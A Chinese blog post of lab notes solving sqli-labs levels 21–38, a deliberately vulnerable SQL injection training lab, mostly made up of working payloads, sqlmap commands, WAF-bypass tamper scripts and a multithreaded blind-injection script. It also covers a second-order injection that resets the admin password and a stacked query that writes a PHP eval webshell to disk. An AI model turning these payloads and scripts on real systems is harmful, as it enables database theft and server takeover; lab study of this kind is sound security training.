[Sqli-Labs-Master] - Page_2
Sqli-Labs-Master_Page2
Less-21
Cookie 查询注入,字符型,Cookie 进行了 base64 编码,注入的是解码后的内容。
payload:
Cookie: uname=MScgYW5kIGV4dHJhY3R2YWx1ZSgxLCBjb25jYXQoMHg3ZSwgKHNlbGVjdCBzZWNyZXRfVFZPVCBmcm9tIGNoYWxsZW5nZXMuc280bjZpa2dkcyBMSU1JVCAwLCAxKSwgMHg3ZSkpIG9yICcx
Less-22
较于上一题单引号改成了双引号。
payload:
Cookie: uname=MSIgYW5kIGV4dHJhY3R2YWx1ZSgxLCBjb25jYXQoMHg3ZSwgKHNlbGVjdCBzZWNyZXRfVFZPVCBmcm9tIGNoYWxsZW5nZXMuc280bjZpa2dkcyBMSU1JVCAwLCAxKSwgMHg3ZSkpIG9yICIx
Less-23
字符型报错注入,无法使用注释符。
payload:
?id=1' and extractvalue(1, concat(0x7e, (select secret_TVOT from challenges.so4n6ikgds LIMIT 0, 1), 0x7e)) or '1
Less-24
二次注入(存储型)。参考:二次注入
黑盒视角:
注册用户界面,限制了 username 与 password 的长度;修改密码界面时间盲注毫无反应,也无报错提示,单双引号经测试也都无效。
白盒视角:
PHP 使用 Session 来管理用户会话,session_start()
会开启一个 Session,该 Session 有一串 id 即 Cookie 中所见的 session_id,全局数组 $_SESSION
会存储该 ID 对应的信息,例如"username"与"password"。因此 session_id
不是一串特殊编码后的保存用户信息的字符串,而是一个标识符,PHP 通过检索运行环境中 $_SESSION
所存储的该 id 对应的信息来检查用户身份。这个超级数组 $_SESSION
扮演了一个临时数据库的角色,以 session_id 为键存储了对应会话的用户信息,PHP 通过检索这个临时数据库来获取对应会话的登录信息。因此无法通过篡改 session_id 来简单的绕过身份验证。
二次注入:
可以篡改真管理员的密码。
- 注册一个用户名为
admin'#
的账户。 - 为该账户修改密码,例如密码修改为"123456"。
- 管理员用户
admin
的密码被篡改为了"123456"。
由于修改用户密码时,字符串未做处理直接拼接,因此 admin'#
被拼接进了:
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
变成了:
UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'
在源码中:
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
由于修改密码时传入的三个参数都被做了转义,因此不能注入。只有"username"是直接从 session 中取出来的,因此可以注入,故被称为存储型注入(二次注入)。
Less-25
字符型报错注入,将输入的 and
和 or
全部替换为空,但至替换了一次,可以双写绕过:anandd
payload:
?id=1' anandd extractvalue(1, concat(0x7e,(select secret_TVOT from challenges.so4n6ikgds LIMIT 0, 1),0x7e)) anandd '1
Less-25a
字符型布尔盲注,过滤了"and","or","+"等符号,逻辑运算符可以双写绕过。
PoC:
?id=1 anandd if(ascii(substr((select database()),1,1))=115, sleep(2), 1)
Sqlmap:
sqlmap -u http://172.31.224.1:83/sqli-labs-master/Less-25a/index.php?id=1 -p id --technique B --tamper=diy/doubleDiy.py -D challenges -T so4n6ikgds -C secret_TVOT --dump --flush-session
由于需要绕过过滤,需要自定义一个双写绕过的脚本。老版本的 sqlmap 自带一个名叫"nonrecursivereplacement.py"的脚本用于双写绕过一些关键词,但新版本的 sqlmap 没有这个脚本了。自己试了一下以后也能理解为什么没了,如果某个关键词没有被过滤(替换为空),那么双写反而会让注入失败。因此需要针对性的双写绕过,单个脚本要实现这一点很难,不如让使用者自定义。
/usr/share/sqlmap/tamper/diy/
下自定义一个"doubleDiy.py"脚本:
#!/usr/bin/env python
"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def doubleReplace(payload):
org_pay = payload
if(re.search("or", org_pay, re.I) != None):
payload = re.sub(re.compile("or", re.I), "OoRr", payload)
if(re.search("and", org_pay, re.I) != None):
payload = re.sub(re.compile("and", re.I), "AnaNdd", payload)
# if(re.search("select", org_pay, re.I) != None):
# payload = re.sub(re.compile("select", re.I), "sElselEcteCt", payload)
# if(re.search("union", org_pay, re.I) != None):
# payload = re.sub(re.compile("union", re.I), "unIuNionOn", payload)
return payload
def tamper(payload, **kwargs):
if payload:
payload_new = doubleReplace(payload)
return payload_new
else:
return payload
遇到的问题主要如下:
- 由于"select"等没被过滤,因此不能双写。
re.sub()
函数并不会直接更新目标字符串,需要将其返回的新结果赋值给 payload 来更新。
Less-26
过滤了『几乎所有注释符、几乎所有空白字符、英文逻辑运算符』的字符型报错注入。利用括号替代空格,字符逻辑运算符代替 and 和 or。
payload:
?id=0'||extractvalue(1,concat(0x7e,(select(group_concat(secret_TVOT))from(challenges.so4n6ikgds)),0x7e))||'0
Less-26a
见单独的笔记。
Less-27
payload:
?id=1'%0Bor%0Bextractvalue(1, concat(0x7e,(selEct(secret_FPMB)from(challenges.5idc4x45h8)),0x7e))or'1
或:
?id=1'||extractvalue(1, concat(0x7e,(selEct(secret_FPMB)from(challenges.5idc4x45h8)),0x7e))or'1
报错注入,过滤了 select
与基本空白字符与注释符。前者用大小写绕过,后者用 %0B,%0C,%09
绕过(或者直接用括号绕过空格,用 ||
代替 or
)。
使用 Union 也行:
?id=0'uNion%09sElect%091,secret_FPMB,1%09from%09challenges.5idc4x45h8%09where%09'1'='1
Tips:
- 过滤了
union
,可以双写绕过。 - 注意要让前面的查询没有结果,此处负号会被替换为空(源码中替换的是
[--]
,实际代表的就是一个-
),只能考虑用空或者 0 或者加其他条件。 - 由于没有注释符,需要添加额外语句闭合后面的单引号。
- 前面的查询结果有三列,显示的是后两列,需要将目标放在后两列中。
Less-27a
双引号+无括号包裹的布尔盲注。过滤了 union, Union, select, SELECT, %0A, %0D, *
。
payload:
sqlmap -u http://172.21.240.1:83/sqli-labs/Less-27a/?id=1 -p id --technique B --flush-session -D challenges -T 5idc4x45h8 -C secret_FPMB --dump --tamper "diy/space2blank,randomcase" --batch --hex
randomcase 随机大小写绕过对 select 的过滤,diy/space2blank 绕过对部分空白字符以及星号的过滤:
#!/usr/bin/env python
"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import os
import random
from lib.core.common import singleTimeWarnMessage
from lib.core.compat import xrange
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
"""
Replaces (MySQL) instances of space character (' ') with a random blank character from a valid set of alternate characters
Requirement:
* MySQL
Tested against:
* MySQL 5.1
Notes:
* Useful to bypass several web application firewalls
>>> random.seed(0)
>>> tamper('SELECT id FROM users')
'SELECT%A0id%0CFROM%0Dusers'
"""
# ASCII table:
# TAB 09 horizontal TAB
# LF 0A new line
# FF 0C new page
# CR 0D carriage return
# VT 0B vertical TAB (MySQL and Microsoft SQL Server only)
# A0 non-breaking space
blanks = (
# '%09',
# '%0A',
'%0C',
# '%0D',
'%0B'
# '%A0'
)
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += random.choice(blanks)
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += random.choice(blanks)
continue
if payload[i] == "*":
retVal += "secret_FPMB"
continue
retVal += payload[i]
return retVal
由于 randomcase 的优先度是 normal,不同的优先度会导致脚本执行出现问题,因此 diy 脚本优先度调整为 normal。利用具体存在的字段 secret_FPMB 替换 *
。
用 Union 解决:
?id=0"uNion%09sElect%091,secret_FPMB,1%09from%09challenges.5idc4x45h8%09where%09"1"="1
Tips:
- 要让原查询无结果。
- 查询共有三列,要将目标放在后两列。
- 需要闭合后面的双引号。
Less-28
使用联合注入,payload:
?id=0')union%09union%0B%0Bselectselect%091,secret_FPMB,1%09from%09challenges.5idc4x45h8%09where%09('1'='1
Tips:
- 单引号、一层括号包裹。
- 过滤了
union<空白字符>select
,但只过滤了一次(这不看 output 谁知道 = =)。 - 查询结果有三列,显示后两列,前面的查询不能有结果。
使用布尔盲注,用 sqlmap 跑:
sqlmap -u http://172.21.240.1:83/sqli-labs/less-28/?id=1 -p id --method GET --batch --flush-session --tamper=diy/space2blank --technique B -D challenges -T 5idc4x45h8 -C secret_FPMB --dump
Tips:
- 脚本需要将空白字符换成
%09, %0B, %0C
,*
换成 secret_FPMB。
时间盲注也是有效的,但是由于 sqlmap 对于 时间盲注的 payload 喜欢带上减号,一被过滤就寄,因此只能用自己的爆破脚本。
更新 Less-26 的时间盲注脚本:
import requests as rq # By Requests
import threading as td
from tqdm import trange
class BlindInjection: # 时间盲注
def __init__(self) -> None:
self.encoding = "utf-8"
self.result = {}
# get/post
self.method = 'get'
# Boolean/Time
self.check = 'Boolean'
self.url = "http://localhost:83/sqli-labs/less-28/"
self.headers = {
"User-Agent": "",
"Host": "",
}
self.range = [0, 255] # 涵盖 0xFF
# 使用时间盲注时, 延时越长可行线程数越少, 但是在网络不稳定的情况下鲁棒性更好
# 延时越长, 线程越多,时间盲注越容易因拥挤而出错; 目标字符串长度过长也会影响正确率,但不明显(脑测)
# 用本地服务测试, 1s 延迟下 5 线程较稳定, 那实战大概只能有 3 线程左右;
# 若延时为 2s...还要更糟糕
# 使用布尔盲注时线程可以很多, 本地测试时甚至可以满线程
self.timeout = 1 # 延时
# 使用布尔盲注时,需要指定界面返回有效时的 string 或返回不正确的 notString, 默认为 None
self.string = "Login name"
self.notString = None
self.trd = 24 # 线程数
self.trds = td.Semaphore(self.trd)
self.lock = td.Lock()
self.payload = { # 完整 payload, 预留子查询语句
"length": {
"pos": 1, # 二分检测位置为第一个 %s, 布尔盲注默认盲注成功时返回有效界面
"cot": f"?id=0'||if(length((%s))%s,1,0)||'0"
},
"detail": {
"pos": 2,
"cot": f"?id=0'||if(ascii(substr((%s),%d,1))%s,1,0)||'0"
}
}
# HEX 亲在 payload 中手动添加, 还原后自行解码
self.target = { # 补充子查询语句,如需要再次补充则添加 %s,会触发 input()
# "cur_database": "select(database())",
# "database": "select(group_concat(schema_name))from(infoorrmation_schema.schemata)",
# "table": "select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='%s')",
# "column": "select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='%s')",
"secret": "select(secret_FPMB)from(challenges.5idc4x45h8)"
}
def run(self) -> bool:
for key, val in self.target.items():
if("%s" in val):
val = val % (input(val+"\n->"))
self.result[key] = self.inject(val)
def inject(self, query: str) -> str: # 注入指定内容
t_len = self.BS("length", [query]) # 先得到长度
self.t_res = "_"*t_len+":{}".format(str(t_len))
t_trd = []
for i in range(t_len):
t_trd.append(td.Thread(target=self.injectWrap, args=(i, ("detail", [query, i+1]))))
t_trd[i].start()
for i in range(t_len):
t_trd[i].join()
return self.t_res
def injectWrap(self, ords:int, parms:tuple) -> None:
self.trds.acquire() # 获取信号量
t_res = self.BS(parms[0], parms[1])
self.lock.acquire() # 获取资源锁
if t_res != -1:
self.t_res="{}{}{}".format(self.t_res[:ords], chr(t_res), self.t_res[ords+1:])
else:
self.t_res="{}{}{}".format(self.t_res[:ords], "~", self.t_res[ords+1:])
print("\r{}".format(self.t_res), end="")
self.lock.release()
self.trds.release()
def BS(self, key: str, parms: list) -> int: # Binary Search
left, right = self.range
while(left <= right):
mid = (left+right)//2
if self.request(self.getPayload(key, parms, "".join(["=", str(mid)]))): # 查找正确
return mid
elif self.request(self.getPayload(key, parms, "".join([">", str(mid)]))):
left = mid+1
else:
right = mid-1
return -1
def getPayload(self, key: str, parms: list, parm: str) -> str:
tmp = parms.copy()
tmp.insert(self.payload[key]["pos"], parm)
return self.payload[key]["cot"] % tuple(tmp)
def request(self, data) -> bool:
if(self.method == "get"):
body_data = None
else:
body_data = data
data = ""
if self.check == "Time":
try:
res = rq.request(url=self.url+data, method=self.method, data=body_data, timeout=(5, self.timeout))
# print(f"{data} - false")
return False
except Exception as e: # 命中
# print(f"{data} - true")
# print(e)
return True
else:
if self.string != None:
res = rq.request(url=self.url+data, method=self.method, data=body_data)
if(self.string in res.content.decode(self.encoding)):
return True
else:
return False
else:
res = rq.request(url=self.url+data, method=self.method, data=body_data)
if(self.notString in res.content.decode(self.encoding)):
return False
else:
return True
if __name__ == "__main__":
inject = BlindInjection()
inject.run()
为脚本添加了布尔盲注的结果检测模块。
Less-28a
本关过滤的内容比 less-28 更少。
使用联合注入,payload:
?id=0')union%09uNion%09sElectsElect%091,secret_FPMB,1%09from%09challenges.5idc4x45h8%09where%09('1'='1
Tips:
- 过滤了
union<space>select
,双写绕过即可。 - 单引号加一层括号包裹。
- 查询三列,显示后两列。
布尔盲注使用 sqlmap:
sqlmap -u http://172.21.240.1:83/sqli-labs/less-28a/?id=1 --string Login -p id --technique B --batch --flush-session -D challenges -T 5idc4x45h8 -C secret_FPMB --dump
时间盲注使用 less-28 同款脚本。
Less-29
单引号无括号的报错注入,payload:
?id=1'or extractvalue(1,concat(0x7e,(select secret_FPMB from challenges.5idc4x45h8),0x7e))||'1
联合注入“
0'union select 1,secret_FPMB,1 from challenges.5idc4x45h8 where '1'='1
所以它 WAF 了个什么
上面访问的是"index.php",实际上 WAF 建在"login.php"中,同样传入 id,只允许传入数字内容,破解方式在 Ref 中给出,使用 HPP 双参数绕过。payload:
0'union select 1,secret_FPMB,1 from challenges.5idc4x45h8--+
源码中用函数模拟了服务器被 HPP 攻击时,以第一个接收到的参数作为 WAF 过滤目标;而在 REF 中可以看到 php+Apache 搭建的 Web 应用,会取第二个接收到的 id 作为 $_GET['id']
的内容,即实际查询时的参数。
Less-30
直接看"login.php",和 29 基本一致,换成了双引号。
payload:
?id=1&id=0"uNion select 1,secret_FPMB,1 from challenges.5idc4x45h8;--+
Less-31
访问"login.php",双引号包裹的报错注入,payload:
?id=1&id=1" and extractvalue(1,concat(0x7e,(select secret_FPMB from challenges.5idc4x45h8),0x7e)) and "1
实际上外有一层括号包裹,联合注入:
?id=1&id=0")uNion select 1,secret_FPMB,1 from challenges.5idc4x45h8;--+
Less-32
单引号包裹的宽字节注入
payload:
?id=0%df%27union select 1,1,secret_FPMB from challenges.5idc4x45h8--+
宽字节注入的前提是,数据库使用 GBK 等宽字节编码:
mysql_query("SET NAMES gbk");
传入的单引号被添加反斜杠转义,其十六进制表示为 0x5c27
。在 GBK 中,0xdf5c
为某个汉字的十六进制表示(有很多前置十六进制可供选择,总之该字符串在 GBK 中占了两个字节,GBK 从左向右解析字节流数据),因此单引号成功逃逸。
Less-33
和 32 一样,单引号包裹宽字节注入,payload:
?id=%da' union select 1,1,secret_FPMB from challenges.5idc4x45h8--+
上题单独替换引号,本题直接使用了 addslashes()
函数。该函数会对单双引号、反斜杠以及 NULL
添加转义(传入空参数进去也没看到 NULL 的转义)。
Less-34
单引号包裹的宽字节注入,POST-payload:
passwd=456&uname=1%df%27union select 1,secret_FPMB from challenges.5idc4x45h8--+
Less-35
why care for addslashes()
无引号包裹的,额不需要宽字节绕过了,联合注入直接出,payload:
?id=0 union select 1,1,secret_FPMB from challenges.5idc4x45h8--+
Less-36
单引号包裹的宽字节注入,payload:
?id=0%df'union select 1,1,secret_FPMB from challenges.5idc4x45h8--+
使用了 mysql_real_escape_string()
PHP 函数,他会处理:
\x00, \n, \r, \, ', ", \x1a
为其添加转义
Less-37
单引号宽字节注入,联合注入梭哈了,payload:
passwd=123&submit=Submit&uname=0%df'union select 1,secret_FPMB from challenges.5idc4x45h8--+
依然只是套了一层 mysql_real_escape_string()
Less-38
stacked query
单引号包裹的堆叠注入。php 使用了函数 mysqli_multi_query()
函数能够执行多条 SQL 语句。
本题实际上没做其他过滤,为了研究堆叠注入下面只讲堆叠注入的思路。(堆叠注入实际上需要其他类型的注入提供一些基本信息,如表名与列名)
由于堆叠语句的返回内容看不见,可以可考虑以下几种方式拿到 secret:
-
利用文件读写写入木马,该方法需要知道网站源码目录的位置:
?id=1';select "<? @eval($_GET['cmd']);" into outfile "E:/phpstudy_pro/WWW/sqli-labs/Less-38/pet.php";
如果直接用相对路径,文件将会被写入到 mysql 目录下的 data 文件夹中
-
使用时间盲注,但是本关经测试行不通过。
具体原因参考:PHP mysqli_multi_query 执行多条语句及 web端回显的问题
简单来说,本关的源码只取了首个语句的执行结果,对于 sleep 语句如果不尝试取其结果则不会有延时效果,因此无法使用时间盲注。
详细解释,需要解释几个函数,先上示例代码:
<?php $conn = mysqli_connect("localhost", "root", "admin123", "security"); $sql = "SELECT * FROM users;SELECT * FROM users WHERE id=2;SELECT SLEEP(1);-- ..."; if(mysqli_multi_query($conn, $sql)){ while(mysqli_more_results($conn)){ echo "---------------------</br>"; $result = mysqli_store_result($conn); var_dump($result); echo "</br>"; while($row = mysqli_fetch_row($result)){ var_dump($row); echo "</br>"; } mysqli_free_result($result); mysqli_next_result($conn); } } mysqli_close($conn);
以上代码可以完整获取多条语句的执行结果。
-
mysqli_multi_query(connection, query)
当第一个查询语句失败时返回 False。
-
mysqli_more_results(connection)
查看某连接缓存区是否还有查询结果。 -
$result = mysqli_store_result(connection)
返回某连接当前一句查询语句的查询结果。 -
mysqli_fetch_row(result)
从查询结果数组中取出一行记录,为一般数组。如果无下一行记录可取,则返回 False。 -
mysqli_free_result(result)
释放查询结果的空间。 -
mysqli_next_result(connection)
获取某连接下一句查询语句的结果并置于结果缓冲区。该函数用于切换多语句查询中不同语句的结果。
-
-
利用插入、更新操作获取敏感内容。
由界面的回显可以猜测出字段名是"username"与"password",以及一个 ID。不难猜测表名应该是"users"。利用:
?id=1';insert into users(id,username,password) values(77,"festu","123456");--+
发现成功插入,将敏感信息插入到当前表中即可:
1';insert into users(id,username,password) values(78,(select database()),"123456");--+
60';insert into security.users(id, username, password) values(102, (select mid(secret_FPMB, 1, 12) from challenges.5idc4x45h8),(select mid(secret_FPMB, 13, 12) from challenges.5idc4x45h8));--+
Tips:
- 插入的主键注意不能重复
- 使用不同数据库的表数据时,给各表前加上数据库名
- 本关中 username 与 password 有长度限制,不能直接写入整个 secret。
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
· 永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性
· 全网最简单!3分钟用满血DeepSeek R1开发一款AI智能客服,零代码轻松接入微信、公众号、小程